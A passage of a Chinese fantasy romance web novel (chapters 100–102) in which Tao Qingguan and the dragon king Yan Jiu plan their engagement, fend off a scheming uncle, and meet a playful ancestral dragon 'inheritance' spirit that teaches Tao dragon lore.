他们是被陶桑云叫来的,陶凌霄出事,对方恨不得所有人都重视,徐婉晴打从心底看不起陶桑云,总喜欢从别人身上找存在感,若不是顾及面子,她都不想来。 “嗯。”陶笠鹤冲两人摆摆手,开口道:“你大哥如果来找你求情,你不要管他,他该长个教训。” 陶雨霖应下,离开前,他望了陶清观一眼,似是有话想说,但最终他还是什么都没说,和徐婉晴一同离开。 宴氿全程没有说话,看着陶笠鹤处理,算是给陶笠鹤一个面子,但这不代表他对陶笠鹤的处理方法满意。 待陶雨霖二人走后,他眼眸微眯,开口道:“只是这点不痛不痒的警告?” 陶笠鹤听到这话,脑袋隐隐作疼,龙族在记录中向来护短,他就猜到宴氿肯定不会就此罢休,不过被护着的是他的孙子,陶笠鹤心底也有几分欣慰。 小观这是给自己找了个靠山。 陶笠鹤试探着问道:“您想怎么处理。” 宴氿毫不客气道:“直接开除,如果我没猜错,他以公谋私的小动作应该不少,你这个局长,不会打算一直睁一只眼,闭一只眼。” 一旁的陶清观听到这话,心底震惊,爽是爽了,可见家长第一天,直斩对象大伯,还是跟大伯他爹提的要求,不愧是龙,就是比虎还虎。 陶清观心底冒着小九九,默默往后挪了一步,他感觉陶笠鹤的巴掌要落下他脑袋上了。 危! 谁知陶笠鹤非但没有生气,反而顺着宴氿的话说下去,“我能保证桑云绝对没做过任何坏事,但您说得也对,是我高拿轻放,您放心,这事我会按照您说的去处理。” 宴氿还是觉得轻了,但现在太张扬不好,他按下那些心思,勉强应了一声。 得到回应,陶笠鹤松了口气。 而围观全程的陶清观一脸玄幻,爷爷刚刚还那么强势,到宴氿面前怎么直接成孙子了,龙王的名号就这么糊人。 他左右脑要开始互相博弈了。 陶清观用一种新奇地目光望着陶笠鹤,总不能这么短的时间里,他爷爷被人魂穿吧。 陶笠鹤注意到陶清观的视线,没好气地瞪了眼对方,开口道:“这么大的事你也不跟我商量一下,说,什么时候定下的?” 陶清观缩了缩脖子,心虚道:“也没几天。” “你说说你。”在宴氿面前,陶笠鹤忍住自己想念叨的心。 他又瞪了陶清观一眼,对宴氿道:“是我孙儿不懂礼数,不知道您是怎么样?需不需要筹备宴会,告知其他人?” 陶清观:“!?” 啊? 啊!? 啊!!? 他小小的脸上写着大大的问号,不是,就这么接受了? 徐婉晴还纠结了会,怎么陶笠鹤会如此干脆。 陶清观冲上前,不敢置信道:“你就这么同意了?不说我两句吗?” “我说有用吗?”陶笠鹤冷哼,“事已至此,我还能帮你变卦不成。” 他说得大义凛然,“我们陶家没有言而无信之人。” 陶清观哇偶一声,啪啪鼓掌,“老陶说得好,但宴会啥的是不是太快了。” “我又不是跟你商量,大人说话,小孩子插什么嘴。”陶笠鹤嫌弃道:“去旁边坐着,等我和龙王商量好。” 陶清观一脸懵逼地被赶到旁边。 他皱着脸,望着和宴氿交谈的陶笠鹤,心底直犯嘀咕。 什么毛病,商量订婚宴还不带他这个主角,算了,反正陶笠鹤出钱出力,他出个人就行。 心头大患解决,陶清观后仰靠在椅背上,两腿一翘,愉快地低头玩手机。 那边,陶笠鹤商讨道:“我看过,最近就有个合适的日子,不知道您意下如何。” “一家人,不需要用您称呼。”宴氿满意陶笠鹤的识趣,看对方这张老脸都觉得顺眼不少,“最近是多久,有没有足够的时间准备?” “这个你放心。”陶笠鹤顺势改口,“我肯定会布置好,宴请的宾客也会交给你过目。” 宴氿颔首,说道:“布置我和小观也会参与,到时候把方案发给我一份。” 陶笠鹤感慨,宴氿对陶清观是真宠,这些小事也要考虑要清观的喜好,陶笠鹤与有荣焉,他家囡囡果然受长辈喜欢。 和宴氿敲定日子,陶笠鹤问道:“流程就按照一般的来吗?” 宴氿指尖轻点桌面,和陶清观的订婚宴他自然重视,不想留一丝差错,他说道:“这些我负责,你借人手给我就行。” 陶笠鹤:“好。” 两人就具体事项聊了好半天,陶清观手机都要没电了,那边才堪堪说完。 “……暂时这样,后面想到什么再补充。”宴氿抿了口茶水。 “行。”陶笠鹤望向坐没坐姿的陶清观,破天荒地没念叨对方,开口道:“饿了没?中午留在这边吃饭吧。” 陶清观没意见,“行。” 正好他饿了不想跑。 陶笠鹤看着宴氿上前揉了下陶清观的发丝,画面‘父慈子孝’,他在心底叹气,也算是弥补缺憾了。 不过陶笠鹤心底仍有一点顾虑,他问道:“那个传承不会有不好的影响吧?” 龙族传承虽然珍贵,但若非伤到身体,不要也罢。 宴氿道:“有我在,不会有问题。” 听到这句保证,陶笠鹤才放下心来。 看时间不早,陶笠鹤叫下属去准备午饭,自己带着宴氿和陶清观往小包厢走。 路上陶笠鹤刻意拉着陶清观落后一步,小声叮嘱道:“虽然龙王宠你,但你可不能恃宠而骄。” 陶清观拍拍胸脯,开口道:“放心,我是那种人吗?” 陶笠鹤:“你当然不是,但你很少做人。” 陶清观:“……”这天没法聊了。 他果断抛下陶笠鹤,去找宴氿。 宴氿偏过目光,笑道:“被说了?” 陶清观哼哼两声,拒绝回答。 宴氿看得想捏捏陶清观的脸,但他还是要面子,忍住了那点手痒。 “身体有哪里不舒服即使告诉我。“纵使从没出现过传承伤龙的现象,宴氿还是多叮嘱一句。 陶清观应下,“这传承是不是就把我当窝了,我怎么一点特殊的感觉都没有,不应该脑子里忽然多出许多东西吗?” “那是小说里写的,哪会一样。”宴氿解释道:“所谓传承不过是根据幼崽的情况,教给对方最基本的自保方式,不过这么多年积累下来,传承知道的确实不少。” 宴氿扫了陶清观一眼,“它大概是没见过你这种,一时间死机了。” 陶清观:) 别以为这么说,他就听不出来,宴氿是在说他太菜。 同时被陶笠鹤和宴氿内涵,陶清观撇嘴,他抬手摸了下自己的后颈,那里是曾经长出鳞片的地方,虽然现在还没什么感觉,但直觉告诉他,传承大概窝在那一块。 第100章 第 100 章 陶清观:这么拼吗?…… 吃饭时, 陶清观时不时抓两下后颈,也不知道是不是他心理作用,他总觉得那块皮肤上有什么东西在, 可仔细去摸又什么都摸不到。 坐在陶清观身旁的宴氿注意到陶清观的小动作, 抬手按住陶清观的衣领,问道:“领子上有东西?” 陶清观摇头, 他转过身,背对宴氿,开口道:“你看看有没有什么东西。” 颈后的肌肤一片光洁, 但被陶清观搓揉得有点红,宴氿指腹摩挲过那片肌肤,薄唇轻启,“没有东西,难受?” “说不上来。”陶清观说着又要去抓, 不等他动手,宴氿先一步用手蹭了两下。 宴氿的手带着薄茧,被蹭过意外地舒服, 陶清观主动去蹭了两下, 然后后颈被不轻不重地捏住。 “忍着点,再抓要破皮了。”宴氿收回手, 帮陶清观整理弄乱的衣领。 陶笠鹤围观全程, 他那张老脸上浮现古怪的色彩,按理说陶清观和宴氿感情好, 他该高兴才对, 可他怎么觉得有些不对劲呢。 正当他思考的时候,陶清观忽然开口。 “爷爷,吃完饭我们就先回去了。” 陶笠鹤回过神, “好。” 他不动声色地打量着陶清观和宴氿,看见宴氿剥虾给陶清观吃,他眉头又是一皱,再看到陶清观把不想吃的夹到宴氿碗里,陶笠鹤的眉心能夹死一头苍蝇了。 前脚刚跟陶清观说要注意些,后脚对方就给他整这死出。 陶笠鹤放下筷子,故意清了下嗓子,他加重声音,陶清观果然被他吸引。 “你感冒了?”陶清观眨了眨眼,关心道:“最近天气转凉,你注意些,别以为自己还有二三十岁的小伙子。” 提醒不成,反被说教,陶笠鹤冷哼,暗示道:“你自己吃就行,别老夹给宴氿。” 陶清观不以为意地摆手,“没事,那些都是我不想吃的。” 陶笠鹤气得想拍桌子,臭小子,这事做就算了,怎么还说出来,龙王不要面子吗? 他立即去看宴氿脸色,却发现宴氿根本没有生气的意思,反而夹起陶清观塞来的食物放入口中。 这下陶笠鹤愈发觉得古怪,但碍于宴氿在场,他也不好诘问陶清观。 陶笠鹤按下心头的疑念,重新拿起筷子,但说是吃饭,他注意力全集中在陶清观身上,好在陶清观知道收敛,没再给他整出什么幺蛾子。 完全不知道陶笠鹤心中所想的陶清观,咬着筷子尖,目光有些呆滞,显然是在跑神。 好痒哦,但宴氿不让他挠。 陶清观越想忽略那点痒意,后颈的痒意就愈发明显,就像有虫子在他背后爬一样,整得他浑身不自在。 不行,忍不了了。 陶清观站起身,开口道:“我去上个厕所。” 说完,他头也不回地跑走。 陶笠鹤见陶清观这风风火火的样子,“嘿,这孩子。” 他望向宴氿,开口道:“平时小观怕是给你添了不少麻烦。” 宴氿微笑,“都是应该的。” 头一回得到宴氿这般笑脸的陶笠鹤大为惊奇,他面上不显,心底揣测。 难道这就是爱屋及乌? 另一边。 陶清观跑到走廊,迫不及待搓了两下后颈,这一次,他碰到几片硬硬的东西,摸着形状像是鳞片。 该来的还是来的,不出所料,他又要不当人了。 陶清观啧了一声,陶笠鹤说得也没错,他这会儿确实当不了人。 他抬脚走向洗手间,想看看后边的鳞片长什么样,却不想在拐角处迎面撞上陶桑云。 陶清观本想装作没看见,从旁边绕过去,但陶桑云故意挡在他面前,他想走都走不掉。 他微不可察地蹙眉,开口道:“大伯你不是回家了,怎么在这?你不用照顾堂哥吗?” “凌霄已经醒了,就是身子虚,要慢慢养。”陶桑云破天荒地对陶清观慈眉善目,但没说几句,他就暴露了自己的目的,“龙王在和你们一起吃饭?” 陶清观不用猜,都知道陶桑云肯定是在打什么鬼主意,他来了几分兴趣,开口道:“是啊,大伯有什么事吗?” 见陶清观这么上道,陶桑云面上笑容真实了些,“我听说你爷爷要办宴会,好像是为了你和龙王的事,我来就是想问问是不是真的,大伯也好提前给你准备贺礼。” 陶桑云能这么好心?那他情愿相信秦始皇复活赛打赢,现在要一统全球。 陶清观在心底翻了个白眼,回答道:“是真的。” 从决定举办宴会到现在不过几小时,陶桑云居然就能知道消息,看来爷爷身边的人对陶桑云根本没防备。 陶笠鹤就是嘴硬心软,对家里人总会明里暗里地帮衬,可耐不住有人是扶不起的阿斗。 迟早要栽跟头。 陶清观心底老气横秋,对陶桑云张口就来,“听说大伯前不久收了块古玉,我觉得那个不错,我就提前感谢大伯割爱了。” 这事是他无意间听来的,谁叫陶桑云到处炫耀,估计跟看门的狗都要炫两句,他想不知道都难。 陶清观这一开口,就要陶桑云割了心头肉,他忍着肉疼,露出的笑容有些扭曲,还要假装大方道:“你想要就拿去,这些东西,大伯多得是。” “谢谢大伯。”陶清观得寸进尺,“既然多,那大伯再给一个吧,好事成双。” 陶桑云咬牙切齿,“好。” 哇偶,这都能忍。 陶清观要对陶桑云刮目相看了,公猪开窍,脑子都知道拐弯了,他有点好奇陶桑云的目的了。 陶桑云自认为筹码给够,他开口道:“你堂哥的状况你也知道,我是真担心他想不开,他在家里一个人闷着也难受,你不是还了大房子,我想让他过去住两天。” “正好龙王一个人在家估计也无聊,你堂哥过去,也有个人陪龙王打发时间。” 陶清观叹为观止,他有料到陶桑云的要求会有些过分,但没想到居然会离谱到这种地步。 给宴氿作伴? 借口也不找走心点,宴氿都在他这待了几个月,真关心这个,早干嘛去了。 陶清观假笑,“这恐怕不行,宴氿他喜静,不喜欢家里有外人。” 陶桑云像是听不懂人话,接着道:“你堂哥性子素来安静,不可能吵到龙王,再说了,现在我们和龙王都是一家人,他不会计较这些的。” 一家人? 这话怎么听着那么奇怪呢。 陶清观狐疑地望着满面笑容的陶桑云,心底突然冒出一个想法。 陶桑云,不会是想卖儿子吧。 不可能不可能。 陶桑云把陶凌霄宝贝得跟什么似的,怎么会让陶凌霄做这种卖身体的勾当,可除此之外,他又想不到有什么理由,能让陶桑云非把陶凌霄塞过来。 “但我家客房没装修,堂哥来了也没地方睡。”陶清观再次婉拒,心底的小九九开始冒泡。 “这个简单。”陶桑云坚持不懈,“我安排人过去装修,家具什么的都不用你操心,我来出钱。” 居然倒贴到这种地步。 陶清观这下确定,陶桑云就是想把陶凌霄塞给宴氿,他一时间不知道该感叹他家老龙是个香饽饽,还是该感叹陶桑云卖子求荣的决心。 他忽然有点同情陶凌霄,不知道他心高气傲的堂哥,知不知道他亲爹的小心思。 陶清观露出为难的表情,说道:“这我不能做主,得问宴氿的想法,这样吧,大伯你送点礼,我也好跟宴氿提这件事。” 陶桑云一听有戏,连忙道:“行,龙王喜欢什么,我现在就准备。” “龙嘛,都喜欢金银珠宝,越贵重越好。”陶清观如数家珍,“宝石,翡翠,钻石,都能来点。” 陶桑云一咬牙,“行,晚点大伯就给你送来。” 他说完,匆匆离开,看样子是要找人去买东西。 陶清观瞄了眼陶桑云离开的方向,摇头叹气,不怪爷爷以前看到大伯就来气,他要是有这种蠢儿子,他也不痛快。 他收回目光,被陶桑云一打岔,他没时间去洗手间了,不然宴氿该到厕所的坑里打捞他了。 陶清观调转脚步,回到包厢。 果不其然,宴氿看到他的第一句就是。 “怎么去这么久。” 陶清观神神秘秘地说道:“路上碰见财神爷了。” 陶笠鹤:“怎么?财神爷跟你一起上厕所?” “那倒没。”陶清观走到自己的位置坐下,“我跟他的关系还没到那种地步。” 陶笠鹤不知道陶清观在说什么胡话,但他早就习惯陶清观跳脱的性子,他没再多说什么,示意陶清观赶紧吃饭。 陶清观敷衍地嗯了一声,悄悄拿起手机,打开联系人,他早在八百年前就把陶桑云拉黑了,这会儿可得把人放出来,免得陶桑云联系不到他。 在他们吃完饭,准备离开的时候,陶清观终于收到陶桑云发来的消息。 陶清观勾起唇角,跟宴氿说了一声,独去和陶桑云见面。 不多时,他就领着一个手提袋回来,袋子里放着一个个精致的小盒子。 宴氿瞥了一眼,问道:“这就是你说的伴手礼?” “嗯。”陶清观打开一个盒子给宴氿看,说道:“我大伯大方吧,你喜欢哪个,随便挑。” 宴氿兴趣缺缺,“品相一般,我送你的那些不喜欢?” “不嫌多。”陶清观收起盒子,招呼宴氿,“走走走,我们回去,让我看看大伯都送了什么好东西。” 宴氿见陶清观的样子,就知道对方怕是又干了什么坏事。 陶桑云么。 令人不快的家伙。 宴氿道:“嗯,要是有不喜欢的,让他再送些来。” 100-110 第101章 第 101 章 宴氿:谁惹这祖宗了。…… 回到家。 陶清观兴致勃勃地打开袋子拆盲盒, 陶桑云足足送了九个盒子,陶清观清点完,瞥了瞥嘴, 这数字送得多少有点刻意。 他盘腿坐在地垫上, 周围放着一串珠宝,陶清观随手拿起一个打量, 那是块翡翠,敲那碧绿的颜色,就知道它肯定不便宜。 翡翠雕刻成扁平的模样, 陶清观望了半天,没看出是个什么东西,于是他问宴氿,“这是什么?” 宴氿扫了一眼,脱口而出, “鸳鸯。” “某些地区会把鸳鸯雕成这样,应该还有另一个跟它配对的。”宴氿指着翡翠后边,“你看, 这里有个暗扣, 能卡上。” 陶清观意味不明地哦了一声,他眯起眼眸, 眼底划过一道暗芒, 他大伯平常出门都不带脑子,这次送礼居然这么用心, 可见对方是真的重视。 老龙艳福不浅。 陶清观睨向宴氿, 对方神色自然,似乎完全没发现陶桑云的小心思,但也正常, 在宴氿眼里,所有人都是小辈,就连他一开始也被宴氿当儿子养。 啧,有点不爽。 陶清观把东西收好,随手扔在一旁,他抬手拍了下宴氿的肩膀,意有所指道:“你最近桃花开得挺盛。” 宴氿后背冷不防的一凉,求生欲本能上线,“我只要你一朵。” 陶清观冷哼,倒也没再为难宴氿,陶桑云的小动作他看在眼里只觉得好笑,宴氿不是朝三暮四的龙,不可能和别人勾搭上,这点信心他还是有的。 不过…… 陶清观一手抵着下巴,眼中掠过一抹深思,以陶桑云的性子,少不了蹦上蹦下,不知道对方还能整出什么乐子来。 他只是想看戏,他能有什么坏心思。 陶清观唇角微扬,习惯性摸向后颈,摸到不一样的触感,他这才想起被遗忘的事。 他拉过宴氿,说道:“你快看,我后面的鳞片又冒出来了。” 宴氿凑过去,几片透明的鳞片映入他的眼帘,以他的经验来看,这是几片龙鳞。 他抬手触碰,指尖划过鳞片边缘,新生的鳞片薄薄一层,如蝉翼一般,边缘泛着浅浅的青色。 而鳞片上飘荡着他的气息。 其实早在吃午饭的时候,宴氿就感觉到陶清观身上的龙味有点重,但想到自己一天到晚跟对方厮混在一起,沾上点味也正常,没想到这气息是这么来的。 宴氿眉心轻蹙,感觉自己好像漏了什么东西,可仔细去想,又找不到那一抹一闪即逝的灵感。 指腹摩挲过鳞片,宴氿敛下眼眸,说道:“没事,跟上次一样,是因为你身体里属于龙的那部分血脉有所增长,所以鳞片才会冒出来。” 陶清观被宴氿摸得不自在,他躲过宴氿的手,和上衣领,见宴氿似乎若有所思,他问道:“有什么问题吗?” 宴氿顿了一下,还是实话实说,“你身上属于我的气息有点重。” 他原本以为是陶清观吃了他的龙鳞,所以长出的鳞片会有他的气息,可最近这段时间,他没再给陶清观喂过龙鳞,但新长出来的鳞片依旧有他的气息。 陶清观听到这话,嘴角微微抽搐,他拿起一旁的靠枕,砸在宴氿脑袋上,说道:“你一天到晚把我当根柱子盘,我身上没你的气息才怪,你要嫌弃,就少往我这边靠。” “我不是这个意思。”宴氿急忙解释,拨开靠枕,伸手去拉陶清观,“正常接触,气息不会这么重,我只是觉得有些蹊跷。” 陶清观闻言,抬起胳膊嗅了嗅,除了洗衣液的香味和中午吃饭粘上的食物芳香,他再闻不到其他气味,陶清观放弃,转而问道;“会有什么影响吗?” 宴氿:“这倒没有。” “那有什么好纠结的。”陶清观不以为意地说道:“反正没影响。” 可宴氿还是觉得有哪里不对,他对陶清观道:“我去书房查点资料。” 他从以前住处带来的书,都放在了书房,里面或许有相关的记载。 陶清观望着宴氿离开的背影,犹豫了会儿,还是没跟上去,最近书看多了,他想给自己放半天假。 他没把气息的事放在心上,知道龙鳞没影响,陶清观很快就将这件事抛之脑后。 陶清观走到二楼的简易小水吧,准备学宴氿的手法泡两杯茶,他刚打开茶叶罐子,放在桌面上的手机震动了两下。 他望过去,手机屏幕上弹出陶桑云发来的消息。 走得太快,拿完礼物,忘记把人重新拉黑了。 陶清观擦干净手,打开手机,不出所料,看见陶桑云询问结果的信息,对方虽然问得含蓄,但字里行间透露着急切。 他懒得搭理陶桑云,想装作没看见,可这时,陶桑云又发来一条消息。 陶桑云:清观,你多和龙王一两句,如果你们兄弟两能共同得到龙王青睐,也是一段佳话,你要为陶家多考虑,多拉近与龙王的关系。 这一长串写的都是中文,可组合在一起,让陶清观觉得无比陌生,大清不是早亡了,怎么陶桑云还活着。 兄弟两共侍龙王,有点意思。 陶清观忽然不想拉黑陶桑云,他想看看对方还能离谱到什么地步。 他敷衍地回了条知道了,视线划过‘佳话’两个字,为陶清观原本就不爽的心情火上浇油。 陶清观将茶叶放回去,快步走向书房。 他推开书房的门,见宴氿正坐在沙发上翻书,陶清观三两步走过去,往宴氿身旁一坐。 身旁的沙发陷下去一块,宴氿刚想问怎么了,胳膊就被锤了一拳,发现陶清观表情来者不善,宴氿一愣。 他什么时候招惹到这位祖宗了。 陶清观打了一下不解气,又抬脚踹了下宴氿的小腿。 宴氿仍由陶清观动作,陶清观没用几分力气,打得不疼,小猫挠似的,他感觉更像是在撒娇。 按照以往地经验,他大概是被波及的那个,宴氿问道:“游戏输了,还是动漫看到憋屈的情节了?” 陶清观哼声不回答,转身离开,留下满头雾水的宴氿。 宴氿望着关上的房门,琢磨不透陶清观的心思。 这算是情侣间闹小脾气吧,宴氿合上书,扬起唇角。 真可爱。 …… 晚上。 因为明天要上班,陶清观早早上床,他靠在床边玩手机。 听到开门声,陶清观没在意,可没过一会儿,他面前就多出一个人。 宴氿凑到陶清观身旁,伸手揽住对方的腰。 陶清观没心思跟宴氿干会累的事,翻身想要跑开,但宴氿搂着不撒手,陶清观没辙,推开宴氿靠过来脸,“打住,我明天要上班。” 宴氿反过来蹭了下陶清观的掌心,说道:“给你看个好东西。” 什么好东西。 那一根加两蛋吗? 陶清观小脸一黄,宴氿到现在洗澡还不给他看,今天居然这么主动。 他轻咳一声,矜持道:“既然你这么说,那我就勉为其难地看看。” 宴氿眼底闪过一丝笑意,拉过被子钻了进去。 陶清观精神一振,瞬间坐正,伸手拉住自己的裤子,防备某条龙的偷袭,可过来一会儿,他没感觉到裤子被拉,反倒看见被子里鼓出一块。 不是小说里常写的小帐篷,而是被子都快装不下的蒙古包。 陶清观疑惑,抬手掀开被子,十八禁的画面是没有的,映入他眼帘的,是一条通体雪白的龙。 这龙自然是宴氿,只是缩小了许多倍,一米八的大床勉强能把他装下。 宴氿脑袋搁在陶清观小腹上,宛若琉璃的眼珠倒影着陶清观的身影,他身侧的爪子蜷缩起,小心翼翼地将尖锐地部分避开陶清观,垂在床边的尾巴跟狗似的甩来甩去。 陶清观的眼睛噌一下就亮了。 有这种好东西,怎么不早点拿出来给他玩。 他捧起宴氿的大龙头,贴脸蹭了两下,又撸了两下龙角,吸龙吸得不亦乐乎。 宴氿顺势用尾巴缠住陶清观一条腿,感受到陶清观的热情抚摸,心底惬意,要不是陶清观那句‘拿他当柱子盘’,他也想不到这茬。 别说,盘着自己的伴侣真舒服,怪不得以前他经常能听到两条龙打结捆一块,当时他还在想龙怎么能这么蠢,现在才明白原来是这么回事。 宴氿满意地裹住陶清观,担心龙鳞凉,他特地用比较温暖地腹部贴着陶清观,将对方整个人圈起来。 陶清观找了个舒服的姿势,发出一声喟叹。 爽了。 房间的灯熄灭,陶清观合上眼,抱着宴氿不知道哪个部位,迷迷糊糊地睡着。 眼前陷入一片黑暗,但很快又有一道光明见他笼罩,那道光温暖柔和,仿佛回到母亲的怀抱。 陶清观缓缓睁开眼,发现自己漂浮在半空中,周围流淌着浅金色的液体,一尾游鱼绕着他游来游去。 他一眼认出那条鱼是传承,陶清观试探着伸出手,游鱼立即奔赴到他手中。 传承经过万年岁月,有着简单的灵智,它担忧地望着眼前发育不良的‘小龙’,这么弱,也不知道能不能活下去。 它能感觉到属于龙族的气息几乎完全消失,除却那只大的,也就眼前的小家伙还能跟龙沾边。 该教对方什么呢。 传承犯难,对于最后一个孩子,它总忍不住溺爱些。 陶清观就看着小鱼翻来翻去,跟抽风似得。 坏了? 他皱眉,伸手想拨弄下小鱼,看看还有没有救,可就在他碰到鱼脑袋的时候,小鱼忽然钻进他的之间,然后他眼前一黑,当即就失去意识。 在昏迷前一秒,陶清观想着,明天的班还来得及上吗? 第102章 第 102 章 陶清观:龙玩得这么花…… 意识逐渐模糊, 陶清观感觉自己躺在温暖的河床中,暖意流过四肢百骸,所有的纷扰都离他而去, 他好像是在睡觉, 又好像没有。 但这一晚无疑是他休息得最好的一晚。 第二天醒来,陶清观神清气爽, 世界的鲜明度都上调了两个度。 他坐起身,伸了个懒腰,感觉腿上压着什么东西, 陶清观掀开被子,看见宴氿的龙脑袋。 对方的吻部贴着他的小腹,睡得正香,他连番一套动作也没惊醒对方。 睡着的龙听着就很有趣,陶清观没叫醒宴氿, 而是悄咪咪上下其手,他捏住旁边纤长的胡须,轻轻捻了两下, 有点硬, 不知道是什么作用。 龙啊。 他都没见过这种生物的解剖图,是不是跟蛇差不多, 陶清观若有所思, 无意识地将龙须压出一个弧度。 就在这时,他眼前忽然浮现一行字。 龙须:能感知空气流速, 气流变化, 微小震动等。 陶清观愣住,紧接着他耳边又响起一道清透明朗的声音,将面前的话复述了一遍, 像是耐心教课的老师,生怕底下的学生听不懂,把一个知识点掰碎了讲。 难道说是传承? 陶清观迟疑着问道:“你能听懂我说话吗?” 眼前又浮现一行字,同时配着音。 “可以。” 传承的语气中带着宠溺,“我沉睡于陌离之渡,那是龙族安眠的地方,你可以叫我小渡,我会教授你生存所需的知识,想知道什么,直接在脑海中问我就行。” 陶清观:“……小渡小渡?” 小渡:“我在。” 好重的人机味。 陶清观一手捂脸,低头闷笑,不行,他听到这个名字就想起人工智障,陶清观压着嘴角的弧度,开口道:“你说的教,就是像刚刚那样,在我视野里加介绍?” “这是一部分,你身体弱,需要慢慢来,不能一下子传给你,你的脑袋会受不了。”小渡用着哄幼崽的语气,“别担心,你是一条健全的小龙,一定能好好长大。” 陶清观在心底轻啧一声,一个个的,非要提醒他是个小菜鸡吗? 这是物种歧视,他就是十分之一条龙,难能跟一条完整的龙比,剁椒鱼头的肉怎么也不可能比清蒸鲈鱼多。 见陶清观不说话,小渡以为是它伤到幼崽的自尊心了,它安抚道:“我带过三千四百八十七条龙,有我在,没问题的。” 陶清观瞳孔地震,小渡的年龄估计得是宴氿的好几倍,这是真祖宗。 “担心说不上。”陶清观在脑中回答道:“但我是个混血,还是混了很多代的那种。” “没关系。” 小渡的声音有种令人信服的力量,若是能看到它的眼神,那大概是一双温柔漂亮的眼睛。 “想玩龙族的小游戏吗?”小渡抛出橄榄枝,想和幼崽拉近距离。 陶清观有几分兴趣,“怎么玩?” 小渡:“你抱起他的脑袋,从旁边绕过去,在放到后边那段身体上。” 龙族的小游戏是玩龙,真是再正常不过。 陶清观依言照做,轻轻抱起宴氿的脑袋,宴氿对他毫无防备,大概是睡梦中感知到他的存在,陶清观感觉到自己的小臂被蹭了一下。 抬手摸摸龙脑袋,陶清观在心底问道:“然后呢?” 小渡:“拍他脑袋后面,力气用大点。” 陶清观不解,想着龙族传承总不会害龙,他一巴掌拍下去。 宴氿措不及防,猝然惊醒,身体下意识动作,然后……他打结了。 陶清观噗嗤一声,靠着床头笑得东倒西歪,在宴氿动起来之前,他都没想过这个角度能打结,看来这是无聊的龙们尝试过无数次得来的经验。 哈哈哈哈哈哈哈哈。 宴氿倒在床上,尾巴无力垂下,语气中透着些许生无可恋,“小渡,你不要教他奇怪的东西。” 话音落下,一尾游鱼从陶清观的身体里飘出来,尾巴慢悠悠地晃着,它用在场人都能听见的方式说道:“好久不见,第三千零九十九条,宴氿。” 宴氿通透的眼眸抬起,扫过明显变得灵动的小鱼,哼出一声嗯,“睡这么久,醒来第一件事就是捉弄龙?” “我在逗幼崽开心。”小渡贴在陶清观身旁,对宴氿的控诉不为所动,反而嫌弃道:“你把幼崽养得很差。” “我不是……算了。” 这事说不清,宴氿懒得和小渡这个脑子缺根筋的家伙解释,他往前挪了点,抬起脑袋搁在陶清观身上,龙脸上愣是挤出委屈的表情,“帮我解开。” 陶清观笑够了,伸手搓搓宴氿脑袋,问道:“你自己解不开吗?” 小渡抢答:“能解开,就是姿势有点难看。” 宴氿得来回反复蛄蛹,才能把自己拉直。 陶清观听到这话,又想笑了,到底是哪个龙才,想出这种玩法。 他瞅着宴氿盘着一团的身体,找下手的地,一旁的小渡适时提醒。 “拉着他的尾巴,从下边绕过去,再从前面穿过来。” 陶清观按着小渡说的做,三两下把宴氿拆开。 重获自由的宴氿斜眼瞥扫向小渡,他暗自磨牙,龙不跟传承一般见识。 宴氿尾巴挑起床边的衣服,钻进洗手间中。 而陶清观兴致勃勃地跟小渡对话,谁说人工智障不好玩,这可太好玩了。 “还有其他打结的方法吗?” 小渡:“有,你等等。” 不过一会儿,陶清观脑海里就多出几十种方法,一个跟一个不一样,还有双龙,三龙版,看得出来,龙们玩得挺花的。 陶清观研究着下次玩哪个,换好衣服的宴氿刚走出来,就感觉背后一凉,看着和小渡挨在一起的陶清观,宴氿猜到这两家伙大概在开私密频道,并且聊得多半不是什么好事。 宴氿扯了下唇角,抬手抓住小渡,可小渡机灵得很,一溜烟钻进陶清观身体里,让宴氿抓了个空。 “嘁。”宴氿收回手,在陶清观身旁坐下,他轻轻捏了下陶清观的脸颊,说道:“好玩吗?” “有那么点,就一点。” 陶清观嘿嘿笑着,“你都没跟我说过,原来传承这么有趣。” “这个分情况。”宴氿解释道:“教学的方式有很多种,可以是给一堆知识让幼崽慢慢消化,也可以是每次给一点,督促幼崽学完,又或者是让幼崽在实践中学习,像你这种一对一指导,是少数。” 只出现在小渡判断幼崽没法顺利存活的情况下,后半句宴氿没说,他怕打击到陶清观的积极性。 “估计是没龙了,所以给我开了定制版VIP服务。”陶清观自己找全理由,他像是拿到新玩具的小孩,对小渡爱不释手,完全忽视了旁边宴氿的存在。 宴氿心底不满,这股不满是对小渡,一个破传承,居然跟他抢人,宴氿抬手敲了下床头柜,打断陶清观跟小渡的加密对话。 “虽然我不介意你再请假一天,但你上班要迟到了。” 陶清观抬头看钟,分针的指向距离迟到只有一线之隔,他连忙爬起来,风风火火地换衣服洗漱。 宴氿去厨房热早饭,贴心地帮陶清观打包好,又为对方提前叫好车,将时间利用到最大化。 陶清观每次快迟到,就会打车去医院,因为这样能剩下停车的时间,宴氿记住了他的习惯。 他匆匆跟宴氿告别,乘电梯来到楼下,搭上计程车,陶清观总算能松口气。 “早饭没有肉?”小渡不存在的眉心皱起,“你需要多有营养的东西。” 陶清观咬着奶黄包,在脑子里跟小渡解释:“我有一大半是人类,人类早餐就吃这些,早上吃油腻的食物,胃容易不舒服。” 小渡勉强接受这个解释,幼崽比它想象中还要脆弱,它从未见过某条龙会因为吃肉不舒服。 脑内对话完美解决吃东西不好说话的问题。 陶清观跟小渡接着聊,“我爷爷也有部分龙的血统,好像还挺高的,为什么他算不上龙?” “不一样,他不能变回龙,但你可以。” 陶清观听到这话,瞬间精神抖擞,追问道:“我要怎么变成龙?” 他要解锁新形态! “现在还不行。”小渡哄道:“你得再长大一点。” 陶清观沉默。 他早就过了长身体的年纪,最多只能横着长。 看来暂时变不了身。 陶清观惋惜,愤愤咬了口奶黄包。 出租车停在医院门口,陶清观打开车门下车,微风吹拂,他眼眸转动,望向风吹来的方向,风的轨迹在他眼中无所遁形。 脑海中浮现许多与风相关的信息,陶清观眨了眨眼,他本能地知道这是传承的内容,是小渡慢慢送来的记忆。 陶清观脚下顿了一下,又赶紧加快步伐。 他真的要迟到了! 今天陆满满不在,只有他一个人值班。 陶清观踩点赶到科室,他在科室门口的等待区没看到人,还能清闲会儿。 调整好仪器,陶清观坐到位置上,眸光掠过腕上的手串,眼前飘出一行字。 伴侣契(改):限制生命,转移伤害,目前处于受损状态。 瞥见转移伤害几个字,陶清观眯起眼眸,宴氿这个狗东西居然没跟他说过。 陶清观在心底哼了一声,他拨弄着手串,看着这串字微微出神。 受损,也就是说宴氿还没把手串修好,以对方紧张契约的程度,若不是修理困难,肯定已经修好了。 